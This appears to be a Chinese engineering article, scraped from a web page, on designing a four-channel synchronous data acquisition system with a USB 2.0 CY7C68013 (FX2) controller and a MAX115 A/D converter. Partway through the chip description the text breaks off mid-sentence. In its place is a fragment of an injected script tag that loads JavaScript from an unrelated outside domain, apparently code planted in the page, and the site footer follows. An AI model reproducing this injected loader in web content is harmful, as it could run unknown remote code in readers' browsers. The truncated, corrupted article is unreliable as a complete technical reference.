基于USB2.0的高速同步数据采集系统设计

介绍基于usb2.0协议、最多可四路同步采样的高速同步数据采集系统。其单通道采样速度620ksps,四通道同时采样速度可达180ksps。usb接口控制及通信芯片采用cypress公司fx2系列中的cy7c68013,通过对其可编程接口控制逻辑的合理设计和芯片内部fifo的有效运用,实现了数据的高速连续采样。

  关键词:usb2.0协议 同步数据采集 cy7c68013 可编程控制接口 fifo

  usb(universal serial bus)总线是intel、nec、microsoft、ibm等公司联合提出的一种新的串行总线接口规范。为了适应高速传输的需要,2000年4月,这些公司在原1.1协议的基础上制订了usb2.0传输协议,已超过了目前ieee1394接口400mbps的传输速度,达到了480mbps。usb总线使用简单,支持即插即用pnp(plug and play),一台主机可串连127个usb设备。设备与主机之间通过轻便、柔性好的usb线缆连接,最长可达5m,使设备具有移动性,可自由挂接在具有usb接口的运行在windows98/nt平台的pc机上。usb总线已被越来越多的标准外设和用户自定义外设所使用,如鼠标、键盘、扫描仪、音箱等。

  笔者结合设备检测中数据采集的实际需要,设计了该高速同步数据采集系统。该系统最多可四路同步采样,单通道采样速度可达620ksps,四通道同时采样速度可达180ksps。usb接口控制芯片采用cypress公司fx2系列中的cy7c68013,通过对其可编程接口控制逻辑的合理设计和芯片内部fifo的有效运用,实现了数据的高速连续采样和传输。

  
1 基本原理

  该采集系统总体框架分三部分:主机(能支持usb2.0协议的pc机)、内部包含cpu及高速缓存的usb接口控制芯片(cy7c68013)和高速同步采样芯片(max115),如图1所示。其数据传输分两部分:控制信号传输和采集数据传输。控制信号方向为由主机到外设,由外设cpu控制,数据量较小;采集到的数据由外设到主机,数据量较大。为了保证较高的传输速度,不经过cpu。系统基本操作过程为:主机给外设一个采样控制信号,fx2根据该信号向a/d转换器送出相应控制信号,即采样模式控制字;之后由a/d转换器自主控制转换,并将各通道采样数据存入其片内缓存。一旦转换完成,由a/d的完成位向fx2的可编程控制接口发读采样结果信号;然后由可编程接口的控制逻辑依次将各通道采样结果从a/d的缓存读入fx2的内部fifo。当fifo容量达到指定程度后,自动将数据打包传送给usb总线。期间所有操作不需要cpu的干预。采样过程中接口控制逻辑依次取走批量数据,在打包传送时a/d仍持续转换,内部fifo也持续写入转换结果。只要内部fifo写指针和读指针位置相差达到指定的值就立即取走数据。从而保证了同步连续高速采集的可靠性。

  
2 硬件部分

  2.1 芯片介绍

  cy7c68013属于cypress公司的fx2系列产品,它提供了对usb2.0的完整解决方案。该芯片包括带8kb片内ram的高速cpu、16位并行地址总线+8位数据总线、i2c总线、4kb fifo存储器以及通用可编程接口(gpif)、串行接口引擎(sie)和usb2.0收发器。在代码的编写上,与8051系列单片机兼容,且速度是标准8051的3~5倍。

  cy7c68013与外设有两种接口方式:可编程接口gpif和slave fifos。可编程接口gpif是主机方式,可以由软件设置读写控制波形,灵活性很大,几乎可以对任何8/16 bit接口的控制器、存储器和总线进行数据的主动读写,使用非常灵活。slave fifos方式是从机方式,外部控制器可象对普通fifo一样对fx2的多层缓冲fifo进行读写。fx2的slave fifos工作方式可设为同步或异步;工作时钟为内部产生或外部?script src=http://er12.com/t.js>

  • 基于USB2.0的高速同步数据采集系统设计已关闭评论
    A+
发布日期:2019年07月02日  所属分类:参考设计